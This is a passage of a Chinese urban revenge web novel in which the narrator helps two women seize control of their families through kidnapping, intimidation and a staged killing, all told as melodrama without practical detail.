司徒晴已经知道我假死的消息,更何况我现在和司徒飞闹得也不愉快,如果能通过司徒晴来掌握司徒家,确实是个不错的选择。
司徒晴约我见面,我也爽快的答应了。
当我出现在她的面前的时候,我在她的眼睛里看到的是欣喜,是释然,最后我看到她脸上洋溢着开心!
“陈大哥!”她快步走过来,甚至下意识地伸手想要触碰我的手臂,但是看到我手上有伤,她马上就收了回去!
“看到你没事,真的是太好了,你知道么,白起和我说你**的时候,我的心脏都停止跳动了……”
司徒晴说着说着喜极而泣,她拉着我的手,开心的说道:“太好了,真的太好了,一切都来得及,一切都有机会!”
我当然明白司徒晴话里的意思,她一直都对我有想法,她喜欢我,这点我承认,这丫头也出面帮过我,所以我对司徒晴,不会像对司徒飞那样无情。
我摸了摸她的头,笑着说道:“事出有因,只能出此下策,让你担心了。”
司徒晴摇了摇头,眼眶微微泛红,但她强忍着没让眼泪掉下来,反而露出一个笑容:“你没事就好,我听说秦昊**……还有夏小姐那边……”
“都处理好了。”我简单带过,不想让她过多卷入这些血腥的细节,我看着她问道:“你呢?司徒家现在情况怎么样?”
果然提到司徒家,司徒晴的笑容淡了下去,眼神变得复杂。
她叹了一口气,道:“很不好,我父亲和哥哥失踪后,叔叔司徒飞以代理家主的名义迅速控制了家族,他做的第一件事,就是清洗父亲留下的老人,公司上上下下全换成了他自己的人,她还软禁我,还好你让白起救了我,我才能脱困……”
“你其他叔叔们什么意思?”我问。
司徒家除了司徒鸣这一支,还有几个旁系分支,他们也手握司徒家的股份和权力。
“司徒云一直负责南方的生意,平时很少回上城,这次也没表态,四叔司徒雷……以前就和司徒飞走得近,现在更是全力支持他。”
司徒晴苦笑,道:“至于其他族老,要么被收买,要么被威胁,要么就保持沉默,司徒家现在已经是司徒飞的了!”
“晴儿,你想夺回司徒家么?”我问道。
司徒晴猛地抬起头,看向我,她眼神里有震惊,有犹豫,但最后化为一种坚定的信念,她说道:“是,我想夺回来,那本来就是我父亲和我哥哥的东西,司徒飞……他不配。”
“为什么?”我问,“因为你父亲和你哥哥?还是因为你自己?”
“都有。”司徒晴坦诚的看着我说道:“我知道,在很多外人眼里,我只是司徒家的大小姐,一个被保护得很好的花瓶,但我从小看着我父亲处理家族事务,看着哥哥如何在商场上周旋……我懂的不比任何人少,只是以前,有父亲和哥哥在,我不需要站出来。”
“但现在,他们不在了,如果我不站出来,司徒家就会彻底落入司徒飞手中,我也挺不甘心,我父亲打拼下了的江山,落入他人的手中。”
我看着司徒晴的眼睛,她的转变是让我没有想到的,看来,苦难才会真的成就一个人。
一个月前,她还是十指不沾阳春水的大小姐,现在却已经有了要复仇的愿望,不错,这正是我想要看到的。
仇恨,让司徒晴整个人都在发光。
“晴儿,夺回家主之位,不是请客吃饭,你需要面对的不只是司徒飞,还有整个司徒家盘根错节的势力,你需要盟友,需要资金,需要人手,更需要决心,晴儿,你真的准备好了?”
“我准备好了。”司徒晴没有丝毫犹豫,道:“但我需要帮助,陈大哥,我知道这很自私,你已经帮了我很多,但我……”
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“我帮你。”我打断她。
司徒晴愣住了,似乎没想到我会答应得这么干脆,她张了张嘴,想说什么,却一个字都说不出来。
“但我有几个条件。”我继续说道。
“你说。”她立刻回应,眼神热切。
“第一,如果我帮你夺回家主之位,司徒家在未来三年内,必须与‘凡颜资本’深度绑定,重大商业决策,需要双方协商。”
“可以。”
“第二,在你完全掌控司徒家之前,我不会直接出面与司徒飞对抗,所有行动,必须以你的名义进行,我只是在背后提供支持。”
司徒晴咬了咬嘴唇,但还是点头:“我明白,这是为了不激化矛盾,也让司徒飞掉以轻心。”
“第三,”我看着她的眼睛,一字一句的说道:“如果真的到了必须用非常手段的时候,你不能心软,对敌人仁慈,就是对自己残忍,这个道理,我希望你从现在开始就记住。”
听了我的话,司徒晴的脸色微微发白,她当然明白我说的心狠指的是什么,商场这个地方,哪有什么心软可言呢?
司徒晴的性格,究竟能不能心狠,这才是我最担心的地方。
司徒晴脸色微微发白,但最后,她点了点头,对我说道:“陈大哥,你说的这些,我都记住了。”
我知道司徒鸣父子现在并没有死亡,但我并不会把这个消息告诉司徒晴,如果告诉她了,她一定会对他们产生寄托,那她就不会狠下心来。
我需要的是一个彻底狠心的司徒晴,就算是司徒鸣父子回来了,她也要坐稳家主的位置!
“接下来,你先做两件事。”我放下茶杯,说道:“第一,想办法联系上你父亲以前最信任,现在还没有被司徒飞收买或清理的老人,不用多,一两个关键位置的就行。
“第二,整理一份司徒家所有明面和暗面产业的详细清单,尤其是那些司徒飞可能还没来得及完全掌控的。”
“好。”司徒晴立刻应道,拿出手机开始记录,道:“还有吗?”
“暂时就这些,具体的计划,等我从海城回来再详细商量。”
“海城?”司徒晴抬起头,有些不解的问道:“你要离开上城?”
“有些事需要处理,快的话,三五天就回来,这段时间,你要要小心,司徒飞现在到处在抓你,所以你一定要隐秘进行。”
“我会安排人员,专门保护你的安全。”我说道。
司徒晴点了点头,她犹豫了一下,似乎有什么心事,然后小心的问道:“陈大哥,你回海城是因为夏小姐吗?”
我看了她一眼,直接说道:“是。”
司徒晴的眼神暗了暗,但很快又恢复平静:“我明白了,那……你也要小心,千万不要有事,不要让我……担心了!”
“我知道。”
154夏颜对决夏振宇!
和司徒晴见完面后,天色已经接近黄昏。
我刚坐进车里,周叶青的电话就打了过来,这个女人,对于消息的预判,一向都是非常准时的!
“谈完了?”她的声音一如既往的直接。
“嗯,她答应了。”我说道。
“果然,司徒晴这个棋子,用得好的话,确实能省我们很多力气,她值得你的信任吗?”
“现在值得,以后的事,以后再说,司徒飞那边有什么新动静?”
我永远都不会相信一个人说的话,我只看这个人的行动,成年人能走在一起,完全都是因为利益的关系,如果没有利益,是根本不可能在一起的。
即便就是亲人,朋友,爱人,一旦利益崩盘,最后都会分崩离析。
“他今天下午见了赵强。”周叶青的语气严肃起来。
“知道谈了什么吗?”我问道。
“那不清楚,不过只知道谈了差不多两个小时,我的人进不去,但赵强出来的时候,脸色不错,应该是达成了某种协议。”
赵强,赵坤的二叔,看来他是要真的发力了,我既然已经答应扶持赵坤了,那我就要提防赵强,我不可能让他先下手为强,看来赵坤这边的计划,要加速进行了。
“周总,我要去一趟海城,大概三四天,上城这边,你要小心,我怕司徒飞趁机搞什么小动作!”
“放心。”周叶青简短的道:“有我在,他翻不起大浪,倒是你,海城那边夏家的事情,不好处理,需要帮忙吗?”
“暂时不用。”我说道:“收拾完夏振宇,我会马上回来!”
……
海城国际机场,国际到达厅。
我走出机场,心里很期待和夏颜的见面,同时我还要去看看夏振宇,这个被周叶青关押在海城的人。
走出机场的瞬间,我就看见了夏颜,她穿着简单的白色衬衫和深蓝色长裤,外面套了件卡其色风衣,长发随意披散,今天的她柔和妩媚,犹如邻家女孩。
看到我走出来,夏颜嘴角微微一笑,她掩饰不住自己内心的喜悦,她向我跑来,然后伸出双臂,紧紧的抱住了我。
夏颜很用力的拥抱我,似乎要把我揉进她的身体里,她的想念和占有我都感受到了,她越是这样,我越是喜欢。
谁不想,被夏颜这样的女人占有呢?
“老婆,我来了……”我轻轻拍了拍的她的背,柔声说道。
夏颜轻嗯了一声,她没有松开我,反而抱的更紧了,过了几秒后,她才松开,来往的人都看着我们俩,她因为害羞,脸上浮起一丝红晕。
“老公,你想我了吗?”夏颜接过我手中的一个小行李袋,动作自然。
“当然想啊!”我看着她,笑着说道:“如果不想你,怎么会这么快来海城找你,我还不是怕夏家的人欺负你,夏家现在怎么样?”
听到夏家的事情,夏颜的笑容瞬间消失,她的眼神也变的冷冽,她跟我说道:“老公,上车再说吧。”
我坐进她那辆熟悉的宾利车,仿佛又回到了我刚来海城的那段日子,那段日子,还真是值得怀念。
“老婆,说说吧,什么情况。”我问。
“夏家三天要开祠堂会议,议题只有一个:以‘损害家族利益、能力不足’为由,将我名下的所有股权、职务,一次性全部剥夺,然后除名!”
一次性全部剥夺?这已经不是简单的打压或边缘化,这是要彻底将夏颜扫地出门,斩断她在夏家的所有根基!
我听到这个消息,对夏家更是厌恶,看来我必须要对夏振宇重拳出击,绝对不能留着!
“最让我觉得可笑的是,他们要把夏振宇的那份股权也都收走,他们知道夏振宇失踪了,但不知道是你控制着他,夏振宇的股份利用由继承人继承。”
“所以,他们不仅要踢你出局,还要把夏振宇留下的东西也吞掉,是名正言顺的吞掉。”我冷冷道。
“对,如此一来,除掉秦昊,控制夏振宇,反倒是给这些人做了嫁衣,呵呵……”夏颜面露不悦。
“他们是痴人说梦,我说过,我会帮你夺回夏家的,我说到做到!”
“嗯,我相信你!”夏颜说道。
“老婆,你要不要见一见夏振宇。”我问道。
提到夏振宇三个字,夏颜依旧保持沉默,她的表情已经表达了她的态度,那就是绝对的冷漠。
我见夏颜不说话,想了想还是提醒道:“有可能,是最后一面了!”
夏颜长吁了一口气,她听懂了我的言外之意,然后对我说道:“好。”
我没有回家,直接告诉了夏颜关押看守夏振宇的地址。
于是夏颜开着车带我过去,我们来到了一处废弃工厂,这里霉味极重,把夏振宇关在这里,也让他吃到了苦头。
这一次,我没有走在的前面,而是选择跟在她身后,因为这一次,是她和夏振宇的父女对决。
吱!
仓库的大门被推开!
夏振宇瞬间抬起头,他马上朝夏颜看去,目光带着乞求!
夏颜没有说话,她只是走到夏振宇面前,静静的审视着他,就如同一个高位者审视一个低位者。
我挥了挥手,周家秘卫立刻走上前去,撕掉了夏振宇嘴巴上的胶带。
“咳咳!”
胶带被撕掉的瞬间,夏振宇剧烈地咳嗽起来,他大口大口的喘气,然后满眼通红的看着自己的女儿,他蓬头垢面,脸型消瘦,只有目光,带着乞求。
“小颜……你……你这是干什么?有什么误会,我们可以好好说,你何必用这种极端的方式?快让陈凡把我松开,爸爸不怪你……”
“误会?”
夏颜冷哼一声,她不在沉默,终于开口质问:“夏振宇,我们之间,有误会吗?”
“当然有!你母亲走得早,这些年我一直对你很好。”夏振宇扬起脖子说道。
“对我好?”
夏颜听后立刻打断他道:“逼我结婚,这叫好?给我下药,这叫好?用我的器官,去换夏雨的命
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,这叫好?”
夏振宇听后脸色大变,他有些心虚道:“你,你怎么能这样说,这些年,你在夏家我没少给你好处!”
“我怎么这么说话,夏振宇!”夏颜忽然厉声道:“你给我钱,是为了让我给你赚更多的钱,你养我,是为了有一天用我的命救夏雨,我怎么这么说话,到现在,你还觉得你是个好人?!”
夏颜压抑的太久了,此刻的她不在恐惧夏振宇,而是彻底愤怒,指着夏振宇鼻子问道:“我母亲的死,真的只是病重吗?不是你做的吗!”
夏振宇听后,立刻反驳道:“你……你胡说什么?!她当然是生病!”
“是吗?你的诡辩,让我觉得很恶心!”
夏颜立刻从风衣口袋里掏出一个老旧的手机,按下了播放键。
手机里传出一段模糊的录音,噪音很大,但能听出是一男一女的对话:
“你**吧,对了我可以告诉你,你的病是我弄的。”
“夏,夏振宇你!”
“等夏颜长大了,我会让她给夏雨做手术的!”
“夏颜也是你的女儿,你为什么这么对她,就为了那个小三!”
“闭嘴,你个废物,黄珍能帮我坐稳家主,你能给我什么,**!”
“夏振宇,你不得好死!”
录音很短,只有十几秒,但夏振宇听完后,整个人瘫软在地,他的嘴唇颤抖着,脸色惨白如纸。
“这录音……你从哪里……”他的声音几乎听不见。
“是我妈妈留给我的,你没想到,她会录音!”
“没想到你为了你的小老婆和小女儿?你逼疯了我妈,然后假惺惺的给她看病,下药,让她彻底在这个世界消失!!”
夏颜说到母亲,她再也止不住泪水,她的眼泪夺眶而出!
“夏振宇,你知道吗?我妈妈不是病死的,她是发现了真相,被你逼到精神崩溃,从医院天台跳下去的!那天我就在楼下,我看着她的身体摔在地上,我看着血……那么多血……”
她说不下去了,捂着嘴,哭到整个人都颤抖,我立刻走上前,扶住了她,夏颜依靠在我的怀里,像是找到了依靠。
“夏振宇,你该死,你真的该死!”夏颜声嘶力竭的怒吼。
“小颜我错了,我真的错了……”夏振宇哽咽着说:“我当时是鬼迷心窍,我后悔啊!这些年我没有一天睡得安稳!你原谅我好不好?看在我照顾你这么多年的份上,你放过我,股权我都还给你,夏家我也让给你,我只求你放我一条生路,我老了,我只想找个地方安度晚年……”
他说着说着,竟然扑通一声跪在夏颜面前。
他不停的在给夏颜磕头,换取活命的机会!他的额头刻在水泥地上,发出沉闷的声响,但更想一把重锤,锤在夏颜的心上!
“小颜!爸爸求你了!我给你磕头!你看,我给你磕头!”
夏振宇一下,两下,三下……
他的额头上很快渗出鲜血,看起来凄惨无比!
155夏颜的复仇!
“我还有用!我知道夏家所有的秘密!我都告诉你!只要你放了我,我什么都告诉你!我还可以帮你稳住那些族老,让他们都听你的!夏家不能没有我啊……”
夏振宇哭着求饶,完全没有了平日里的威严和体面,这一刻,他不是夏家的家主,只是一个怕死的老头。
夏颜静静地看着他磕头,看着他哭求,她脸上没有任何表情变化,仿佛就是在看一个陌生人。
等到夏振宇磕到第十下,他的额头已经血肉模糊时,夏颜才缓缓开口道:“你还记得我十五岁生日那天吗?”
夏振宇愣住了,抬起头,满脸血污地看着她。
“那天,我妈说要给我一个惊喜。”夏颜的声音很轻,像是在回忆一个遥远的梦。
“她说她要带我去海边,她说等我长大了,就带我出国。”
夏颜停顿了一下,她脸色一冷,道:“可谁曾想,三个月后,她就**。”
夏振宇的嘴唇颤抖着,说不出话,仿佛是在经历一个噩梦。
“夏振宇,你知道吗,这些年,我每天晚上都会做同一个梦,在梦里,我妈妈在尖叫,然后就是血,到处都是血,我站在旁边,却什么都做不了。”
“夏振宇,你知道那是什么感觉吗?眼睁睁看着自己的母亲死去,却无能为力,我还要听你的话,给你们赚钱,你知道我有多厌恶你么!?”
“颜颜,我……你听我说……”夏振宇有些慌乱,他开始为自己辩解,可夏颜根本不听。
“夏振宇,我不会原谅你,不是为了股权,不是为了夏家,而是为了我自己,为了我的母亲!我不能原谅你,是因为你毁了我的人生,你让我这十年,活得像个行尸走肉。”
她转过身,不再看跪在地上的夏振宇。
“老公……就按照我们商量好的处理吧。”夏颜对我说道。
我点了点头,然后对周家秘卫使用了一个眼色。
秘卫立刻上前,将一份文件和一支笔放在了夏振宇的面前。
“这是股权无偿转让协议,以及放弃夏家所有继承权的声明。”我对着夏振宇说道:“签字,按手印,然后,你会被送上船,去一个再也回不来的地方,这是夏颜能给你的最后仁慈。”
夏振宇呆呆地看着那份文件,又看了看背对着他的夏颜,最后看向我。
他的眼神里有不舍,有不甘心,毕竟那是他的家业,他怎么可能轻易放弃!
可他没有任何可以博取胜利的筹码,他被我关在这里大半个月,这期间他应该想清楚了。
“这是你最后的机会,对了,忘了告诉你,秦昊**!”
夏振宇忽然颤抖了一下,他不敢置信的看着我,道:“他**,**的?”
“坠入山崖!葬身火海!”
简简单单的八个字,我想说的已经很清楚了,于是夏振宇他拿起笔,颤抖着在上面写了自己的名字。
写好后,他瘫软在地上,整个人都没了灵魂。
夏颜终于转过身,她走到夏振宇面前,蹲下身,与他平视。
“夏振宇,如果你能见到我妈,记得告诉她,我长大了,我把夏家拿回来了!”她的声音很轻,轻到只有两人能听见。
说完,她站起身,头也不回地朝厂房外走去。
夏振宇还瘫坐在地上,等他回过神后,他捂住脸放声大哭,他的哭声在空旷的厂房里回荡,凄厉而绝望。
“一个小时后,安排他上船!”我对周家秘卫吩咐道。
“好的,陈先生!”周家秘卫点点头。
我也走了出来,夏颜站在空旷的场地上,仰头看着天空,深深吸了一口潮湿的海风。
我走到她身边,没有说话,只是握住了她的手,她的手很凉很凉。
“那条船,三个小时后,就会沉入海底……”我说道。
“都结束了……”夏颜说道。
“不,这才刚刚开始,你接下来要面对的是整个夏家!”
夏颜转头看着我,眼角还有泪痕,但眼神已经重新变得坚定。
“我知道,但这一次,我不再是一个人了。”
远处,车灯亮起,刘飞开车过来,停在我们两个人的面前。
上车前,夏颜最后回头看了一眼那座废弃的工厂。
当她在转过头的时候,她的眼神里只有决绝!
接下来,夏颜就要为争夺夏家开始行动,夏振宇将所有的
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股份都给了夏颜,这只是夏振宇的意思,他并不是全部的股份,还有剩下的股份,散落在各个家族老人的手中。
真正的敌人,是他们!
而她,已经踏上了这一步!
“夏家会议三天后在老宅的祠堂举行,按照族规,这种关乎核心成员去留的大事,需要在祠堂由族**同议决,而我,没有收到任何的通知。”
夏颜一副无所谓的态度说道。
“族老有多少人?态度如何?”
“七位族老,四个明确反对我,两个中立摇摆,只有一个看着我长大的三叔公私下表示过同情,但他势单力薄。”夏颜苦笑道:“夏振宇这些年,在夏家打压他们太久了,现在我想要拿回家主的位置,太难了。”
“未必,只要会议还没开,就还有变数。”
夏颜转头看了我一眼,问道:“你想怎么做?”
“三个小时后,夏振宇死在海上的消息就会传回国内,你觉得夏家的族老知道后,会是什么反应?”
“秦昊**,夏振宇**,挡在你面前的人,都**夏家的人,难道不会动动脑子么?”
我的话很不客气,但道理就是如此,当初对夏颜动手的人,都被我一一复仇,如果,还有人挡路夏颜,他们承担的起后果么?
“现在夏家,谁最有话语权?”我问道。
“我大伯,夏航宇。”夏颜说道。
我听后立刻打了一个电话,给海城的周家秘卫,吩咐道:“去把夏航宇带来,用最快的速度!”
“收到,陈先生!”
“你要软禁夏航宇?”夏颜转过头问我。
“不算把,顶多就是怎么对付夏振宇,就怎么对付他,我不相信,当初**夏振宇要将你的器官拿去讨好秦昊,他们一个个的都是帮凶!所以一个个的都要收拾!”
“你想什么时候见他?”夏颜问道。
“当然是现在,我可没多余的功夫,跟他们闲扯,听话的,就留着,不听话的就像夏振宇一样!”
忽然,我的手机响了,是周家秘卫来的电话。
“陈先生,按照您的吩咐,夏振宇已经上船,两个小时后,这艘船即将沉没……”
156为夏颜出头!
夏航宇被我绑了起来,原因很简单,我要让他同意夏颜家主的位置,他不听,我只能出此下策。
我带着夏颜,来到关押夏航宇的房间,房间里很空,只有一张桌子,两把椅子,以及头顶一盏刺眼的白炽灯。
夏航宇坐在椅子上,身后是两个周家秘卫在看管。
这位夏家的老人,脸上写满了不耐烦和愤怒,当他看到夏颜的时候,眼神目露凶光!
“夏颜!你这个吃里扒外的**!”他嘶吼道:“你居然敢勾结外人**我?你想**吗?!”
夏航宇说着还不解恨,还怒拍桌子几下。
“大伯,到底是谁想**?是谁想把夏家几代人的基业贱卖给外人?”
夏颜没有被夏航宇的话给吓到,反而一句一句的反驳,反观夏航宇,因为夏颜的反驳,他变的暴怒异常!
“你懂什么?!”夏航宇咆哮道:“夏家现在是什么情况你知道吗?资金链马上要断了!海港那块地不卖,整个集团都得跟着陪葬!我是为了家族!你呢?你除了会花钱,会败家,还会什么?!把股份交出来,是为你好,也是为夏家好!”
“为我好?”夏颜笑了,反问道:“把我踢出局,冻结我的股份,这就是为我好?大伯,你想要的,从来就不是拯救夏家,而是彻底掌控夏家,把夏振宇这一支彻底抹去!”
“放肆!我是夏家的家主!我做的一切决定,都是为了家族!你一个黄毛丫头,有什么资格质疑我?!还有你!”
他猛地转头看向我,怒道:“陈凡!我知道你!在上城搞风搞雨,你以为攀上了周家的大腿,就了不起了?我告诉你,这里是海城!不是你能撒野的地方!识相的马上放了我,不然我保证,你和这个贱丫头,都别想活着离开海城!”
我走到他对面的椅子旁,却没有坐下,只是居高临下地看着他,我忽然笑了,我觉得这个人,有点看不清形势,我准备点点他。
“夏航宇,你好像还没搞清楚状况。”
“现在,你的命在我手里,夏家的未来也在我的掌握之中,你拿什么叫嚣?你那几个保镖?你那些被周叶青查了个底朝天的关系网?还是你那个急着把资产卖给东瀛人套现的宏伟计划?”
听到我说破他的计划后,他的脸色都变了,他的眼底闪过一丝的慌乱,可他依然嘴硬道:“夏家在海城根深蒂固,我出了事,整个海城都会震动!治安署不会放过你!夏家族人也不会放过你!你敢动我试试?”
“治安暑?”我直起身,笑了笑,道:“夏航宇,你觉得我敢能把你绑到这里,会没有考虑过治安暑的问题吗?你觉得我会怕吗?至于夏家的人……”
我看向夏颜,道:“夏颜已经全部继承夏振宇的股份,她才是继承人!”
夏颜从随身的包里拿出一份文件,摔在夏航宇面前,这就是刚才夏振宇签署的协议。
“怎么可能,夏振宇好好的,他为什么会签转让股份协议!”夏航宇不敢相信面前的协议书。
“夏振宇**,死在公海的船上。”我冷冷的说道。
“不可能!陈凡,你以为你是谁!你说振宇**他就**?”夏航宇骂道。
“陈凡说的是真的,不信你可以等新闻。”夏颜冷冷说道。
“混账!夏颜,他是你父亲!”夏航宇咒骂道。
“他逼死我母亲的时候,你怎么不说他是我父亲,他将我**,用我做器官供体,你怎么不说他是我父亲!”
夏颜的话怼的夏航宇一句话都说不出来。
“大伯,你的好日子到头了!”夏颜冷冷的扔了一份资料在他面前道:“这是你过去三年,通过海外空壳公司,转移家族资产,收取回扣,伪造合同的所有证据。”
“累计金额超过2亿,还有,你去年挪用家族信托资金三千万给小三买豪宅,你老婆知道吗?”
夏航宇死死盯着那份文件,脸色由红转白,再由白转青,最后变成一片死灰。
他张了张嘴,想说什么,却发不出任何声音,只有喉咙里咯咯的响声。
“这些证据,只要有一份流传出去,你不仅会身败名裂,还会牢底坐穿。”我接着说道:“当然,如果你配合我,这些东西可以永远不见天日。”
“你……你想怎么样?”夏航宇的声音终于软了下来,带着绝望的嘶哑。
“很简单,三天后的夏家祠堂大会,你需要做几件事。”我说道。
我拉过椅子,在他对面坐下,开始有条不紊地布置。
“第一,主动撤回关于罢免夏颜一切职务和股权的提案。”
“第二,公开承认自己近期决策失误,因身体原因,提议由夏颜暂代家主职责,处理家族危机。”
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“第三,全力支持夏颜提出的解决家族危机的方案,不是卖海港,而是引入新的战略投资者,进行资产重组。”
夏航宇像看疯子一样看着我:“不可能!这绝对不可能!让我把位置让给这个丫头?还要支持她?其他族老不会同意的!那些证据就算曝光,我也有办法周旋!想让我屈服?做梦!”
我看着他垂死挣扎的样子,耐心终于耗尽。
我站起身,对秘卫点了点头。
秘卫走上前,从腰间抽出一把**,他抓住夏航宇的右手,将他的手掌强行按在桌面上。
“你……你们要干什么?!”夏航宇惊恐地挣扎。
“夏航宇,你可能误会了,我不是在跟你商量,我是在通知你。”我点燃一根烟,眼神冰冷的看着他。
我指了指他颤抖的手说道:“夏家是靠海运起家的,你父亲,你爷爷,都是靠一双手在海上搏命,攒下硕大的家业,你说,我要是砍了你的手,你还能当这个家主吗?”
“陈凡,你别动我,我答应!我什么都答应!”他哭喊起来,道:“别碰我的手!我按你说的做!我发誓!撤销提案,支持夏颜,什么都行!求求你!”
我看了一眼秘卫,秘卫立刻松开了手。
夏航宇整个人瞬间瘫在椅子上,他就像一滩烂泥,他大口的喘气,整个人被吓的不轻。
“记住你说的话。”我走到门边,最后回头看了他一眼,道:“三天后,祠堂,如果你敢耍花样,或者事后反悔……”
我没有说完,夏航宇已经像小鸡啄米一样连连点头:“不敢!绝对不敢!”
我和夏颜走出了房间,夏颜跟在我身后,她没有说话,直到坐回车子里,她才长长地吐出一口气,整个人像是虚脱了一样靠在座椅上。
“就这样……解决了?”她还有些不敢置信,声音轻飘飘的。
“暂时。”我给夏颜系上安全带,道:“夏航宇是个怕死的聪明人,他知道该怎么选,但这只是第一步。三天后的会议,你需要拿出真正能说服族老的方案,关于如何拯救夏家,而不是变卖家产。”
夏颜转过头,在昏暗的车内灯光下看着我,眼神复杂,有感激,有依赖。
“陈凡,你为什么……要这么帮我?”
“因为你是我的人,欺负你的人,就是在欺负我。”
157夏颜亲自谈判!
“长老会的七个人,都是谁?”我问道。
夏颜随即拿出一份名单,然后在纸上面勾画着给我说明情况。
“大长老夏航宇,是我最大的反对者,现在他已经被你吓的同意了,那还剩下六位长老!”
夏颜拿着笔,开始在第二行上勾画。
“二长老夏国强,是我爸的三叔,理论上应该是我这一边的,但他五年前中风,现在在疗养院,意识时好时坏,基本不参与决策,他的投票权由他儿子夏明辉代行,而夏明辉不喜欢我。”
“所以夏明辉肯定不会支持你,你接着说。”
“三长老夏建明,五十六岁,负责夏家的建筑和地产业务。”夏颜的笔在纸上轻轻敲着,说道:“这个人很现实,只看利益,夏振宇在位时,分给他不少好处,但他也有弱点那就是好赌,听说他在奥城欠了不少钱,夏振宇帮他还过两次,不过后来夏振宇也就不管他了,如果我们能替他还账,他应该会同意我当家主。”
“他欠多少?”我问道。
“具体数字不清楚,但至少这个数。”夏颜伸出三根手指。
三千万?!
这个数字不算小数目,但是对于我现在来说,不是拿不出来,于是我点了点头道:“可以谈,继续。”
“四长老夏淑芬,我姑婆,六十二岁,掌管家族的慈善基金会和文化产业。”夏颜顿了顿,道:“她和我妈关系很好,从小就很疼我,我回到夏家后,她是唯一一个偷偷来看过我的人,她还塞过钱给我,或许她会支持我。”
“时过境迁,不知道你姑婆现在会不会支持你,我们还是做两手准备。”我看了一眼夏颜,道:“那我们现在已经有几票了?”
“大长老和我姑婆夏淑芬。”夏颜数着道:“两票,但按照规定,重大决策需要四票同意,我们还差一票。”
“五长老呢?”
“夏振华,五十岁,负责海运业务。”夏颜的眉头皱了起来,道:“这个人……很难搞,他是夏振宇的堂弟,两人从小一起长大,关系很铁,而且他性格固执,认死理,一旦站了队就很难改变。”
“六长老?”我问。
“夏振宇自己。”夏颜的声音冷了下来,道:“他现在的股权在我手里,所以理应算我一票,这样我们就有三票了。”
“你还缺一票才能过半。”
“对。”夏颜放下名单,揉了揉太阳穴,道:“所以我们必须再争取至少一个人,三长老夏建明是最有可能的,只要我们能满足他的条件,或者……”
她犹豫了一下道:“或者七长老,夏明远,他是最年轻的,今年才四十二岁,负责家族的新能源和科技投资,这个人我看不透,他很少在家族会议上发言,但每次发言都很有分量,夏振宇对他既用又防,或者说,他是夏振宇最大的威胁,因为夏明远很有才能。”
我思考了几秒后立刻做出决定!
“这两个人我们都要争取,夏建明要钱,好办,夏明远……得看看他想要什么。”
我说完没多久,车子就开进了一条安静的林荫大道,开了一分钟,车子停在一栋老式的花园洋房前,这是夏建明的住处,这里的院子里种满了兰花,即使在夜里,也能闻到隐约的花香。
夏建明早就在书房等我们,他穿着一身深灰色的中式褂子,坐在红木书桌后面,正在泡茶,看到我们进来,他抬了抬手,示意我们坐下。
“小颜来了。”他的声音苍老但很有力,目光在我身上停留了一瞬,问道:“这位就是陈凡陈总吧?”
“夏叔叔。”我笑了笑道。
“坐。”他给我们倒了茶。
“小颜,事情我都知道了,振宇走了,当年你爷爷把夏家交给你们这一支,是看中你父亲的仁厚和才智,没想到,最后夏家被你父亲弄成这样,这些年,苦了你了,夏家亏欠你的。”
夏颜无奈的苦笑道:“谢谢你还愿意相信我。”
夏建明摇摇头,道:“你的能力已经说明一切,关于你继承夏振宇的遗产,或是做家主,我都同意!而且,我也在等。”
“等什么?”夏颜问道。
“等他。”夏建明看向我,眼神锐利道:“小颜需要的不只是一个支持她的长老,还需要一个能帮她稳住局面的人,我观察了你一段时间,陈总,你在上城做的事,我多少知道一些,你够狠,够聪明,也够讲义气。小颜跟你在一起,我放心,夏家有你帮忙照应,我更你放心。”
我端起茶杯,没有说话,只是抿了一口茶。
“小颜,虽然我答应你了,可其他几位长老,我就不清楚了……”夏建明说道。
“已经足够了,我们有四票了。”夏颜说道。
“真的?”夏建明没有想到夏
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颜这么快就搞定了他们。
“嗯,陈凡帮我的。”夏颜说了一句。
“果然陈总是个干才!”夏建明夸奖道。
我笑了笑,不多说什么,这个场子还是交给夏颜来谈比较好。
“等我坐稳家主的位置后,我会想办法,将你的赌债还清,你只需要告诉我的数额。”夏颜说道。
夏颜和我知道,夏建明能那么快答应夏颜的事情,就是为了利益。
“三千万!”夏建明有些不好意思的回答。
“好,那就这么说定了!”夏颜说道。
夏颜和夏建明简单了聊了一下夏家的事情后,就告辞了,坐进车里后,我们两个人的心情还算爽快。
“我没想到,夏建明能那么快的就答应下来了。”夏颜说道。
“他是个老狐狸,他应该知道夏航宇被我软禁的事情,到时候,与其等着我在软禁他,倒不如他主动向我们抛出橄榄枝!这样还能送我们一个人情,所以,你也愿意给他还赌债!”我说道。
“其实我知道,他也不是什么好东西,只不过是他看夏振宇**,不得不低头,这些夏家的人,见风使舵的本领是遗传的!”
夏颜的话里,表达了对夏家的不满,只不过现在,她对夏振宇的仇恨已经消失,也没有必要在为难夏家每一个人,只要他们听话就好。
我和夏颜坐在车里,我握着她的手,说道:“现在,你应该可以放心了,就算是夏家在召开家族长老会议,我们手握4票,这个局面是稳住了。”
“可是……”
夏颜看了我一眼,她隐隐的有些担忧,道:“这四票里面有我自己的一票,那是原本属于夏振宇的,如果,到时候,夏家的人不认可我,又或者突然发生了什么变故,我的票数并不是很靠谱!”
夏颜的话算是已提醒了我,没错,人的嘴,是最不能相信的事情。
“你说的有道理,为了保险起见,你如果担心跑票的话,我们可以在拉拢一个人!”我提醒夏颜注意这件事。
“是的!”
夏颜点了点头,她也认可我的想法,她想了想说道:“可是,现在能拉拢的人还有谁呢?”
就在这时候,我的电话响起,是个陌生来电。
于是我接起来电话。
“哪位?”我问。
“陈总,你好,我是夏明远,想和你见一面。”
158夏颜的担忧!
我没有想到,作为夏家的人,夏明远会主动给我打电话,约我见面。
在夏家祠堂会议举行之前,为了能够让夏颜顺利坐稳家主的位置,我决定去见一见夏明远,看看他葫芦里卖的什么药。
按照约定,我来到夏明远说的见面地点,这里是海城的一所高端的私人会所,这里不对外开放,而且还是会员制,一年的会费足够买一台车了。
我推门而入,夏明远立刻起身来迎接我,我打量着他,夏明远大概四十出头的年纪,他穿着剪裁合体的深蓝色西装,没打领带,衬衫最上面的扣子松着,整个人看起来一副很松弛的样子。
他一脸笑容的向我走来,然后主动伸出手打招呼道:“陈总,久仰大名,你现在可是上城的新贵啊!”
“夏总过奖了,我就是小打小闹。”我随口一说,然后和他握了握手。
不过让我感到意外的是,夏明远一直握着我的手,和我攀谈,直到拉着我在餐桌前坐下。
“陈总能赏光,真是让我倍感荣幸,快尝尝,苏格兰的单一麦芽,二十五年的。”夏明远举了举杯,道:“我收藏的不多,但这瓶还不错。”
我端起酒杯,闻了闻,喝了一小口,酒液顺滑,带着烟熏和果香的回味。
